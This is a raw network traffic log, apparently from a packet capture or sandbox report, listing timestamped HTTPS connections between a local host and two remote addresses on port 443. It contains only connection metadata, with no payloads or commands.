Oct 30, 2024 02:27:55.999459028 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.999499083 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.000019073 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.000039101 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.000087023 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.000092983 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.000128031 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.001720905 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.001741886 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.001789093 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.001794100 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.001836061 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.002826929 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.002847910 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.002890110 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.002895117 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.002923965 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.002935886 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.084981918 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.085007906 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.085088968 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.085120916 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.085146904 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.085171938 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.085177898 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.085282087 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.085755110 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.085782051 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.085789919 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.085794926 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.124887943 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.124906063 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.124989033 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.125133038 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.125149965 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.126777887 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.126872063 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.126933098 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.127407074 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.127418041 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.127454996 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.127465963 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.127490044 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.128787041 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.128815889 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.128871918 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.129168987 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.129196882 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.129405022 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.129436970 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.129486084 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.129574060 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.129587889 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.129601955 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.129617929 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.470840931 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.470921993 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.472573042 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.472579002 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.472918987 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.480640888 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.527337074 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.838742971 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.838804007 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.838846922 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.838879108 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.838895082 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.838927031 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.838944912 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.840595007 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.840642929 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.840668917 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.840676069 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.840698957 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.843070984 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.843084097 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.843102932 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.843440056 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.843544006 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:56.843585968 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:56.861128092 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.861346960 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.861531019 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.861546993 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.861783981 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.861818075 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.862112045 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.862118959 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.862246990 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.862258911 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.871710062 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.872008085 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.872028112 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.872375965 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.872380972 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.872855902 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.873276949 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.873295069 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.875969887 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.875976086 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.903403997 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.910933971 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.910975933 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.911293983 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.911307096 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.991491079 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.991519928 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.991580009 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.991591930 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.991676092 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.992091894 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.992141008 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:56.992172956 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:56.992188931 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.003644943 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.003663063 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.003741026 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.005278111 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.005592108 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.005606890 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.005608082 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.005657911 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.005692005 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.005702019 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.005753040 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.005767107 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.005810022 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.005816936 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.005837917 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.005871058 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.012871027 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.012871981 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.012883902 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.012893915 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.013022900 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.013041019 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.013052940 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.013061047 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.015666962 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.015691042 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.015782118 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.017760038 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.017770052 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.017824888 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.017995119 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.018007994 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.018784046 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.018795967 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.042367935 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.042424917 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.042476892 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.042504072 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.042732000 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.042758942 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.042781115 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.043067932 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.043148041 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.043199062 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.045553923 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.045594931 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.045666933 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.045799971 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.045809031 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.082309008 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.082463026 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.082514048 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.082576036 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.082583904 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.082597017 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.082602978 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.084526062 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.084551096 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.084610939 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.084722996 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.084738016 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.913301945 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.919081926 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.919178963 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.919440985 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.919464111 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.923439980 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.923444986 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.923723936 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.923729897 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.927748919 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.927755117 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.931427002 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.931440115 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:57.931792021 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:57.931797028 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.052042961 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.052331924 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.052445889 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.071090937 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.071090937 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.071295023 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.071331024 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.071403980 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.072746992 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.081089020 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.081099033 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.081108093 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.081113100 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.082698107 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.082701921 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.082711935 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.082715034 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.083081961 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.083111048 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.083123922 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.083131075 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.085318089 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.085344076 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.085411072 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.085504055 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.085526943 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.085639954 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.085652113 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.085658073 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.085757971 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.085772038 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.085865974 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.085877895 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.087631941 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.087690115 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.087697029 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.103888988 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.105170012 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.105178118 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.105604887 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.105609894 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.154711962 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.161618948 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.161647081 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.162092924 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.162100077 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.281986952 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.282165051 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.282233000 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.282327890 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.282339096 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.282347918 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.282351971 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.285141945 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.285178900 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.285264015 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.285424948 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.285439968 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.287467003 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.287571907 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.287641048 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.287699938 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.287712097 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.287723064 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.287731886 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.289690971 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.289701939 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.289781094 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.289906025 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.289917946 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.822582960 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.823014975 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.823034048 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.823544979 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.823549986 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.825613976 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.825905085 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.825915098 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.826303005 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.826308012 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.843153954 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.843482018 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.843493938 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.843883991 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.843888998 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.953125954 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.953288078 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.953315020 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.953355074 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.953445911 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.953454018 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.953476906 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.953480959 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.953506947 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.953548908 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.953574896 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.953588009 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.953596115 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.953599930 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.956453085 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.956486940 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.956548929 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.956639051 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.956651926 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.956701994 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.956724882 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.956734896 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.956835032 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.956846952 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.975085020 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.975255013 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.975311041 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.975362062 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.975374937 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.975384951 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.975389957 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.977355003 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.977370977 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:58.977440119 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.977552891 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:58.977560997 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.021590948 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.021946907 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.021955967 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.022376060 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.022384882 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.023781061 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.024090052 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.024104118 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.024487019 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.024492979 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.151366949 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.151451111 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.151508093 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.151665926 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.151671886 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.151679993 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.151684046 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.154192924 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.154205084 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.154280901 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.154418945 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.154431105 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.154472113 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.154654026 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.154711008 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.154747009 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.154763937 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.154773951 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.154779911 CET	443	49777	13.107.246.45	192.168.2.4
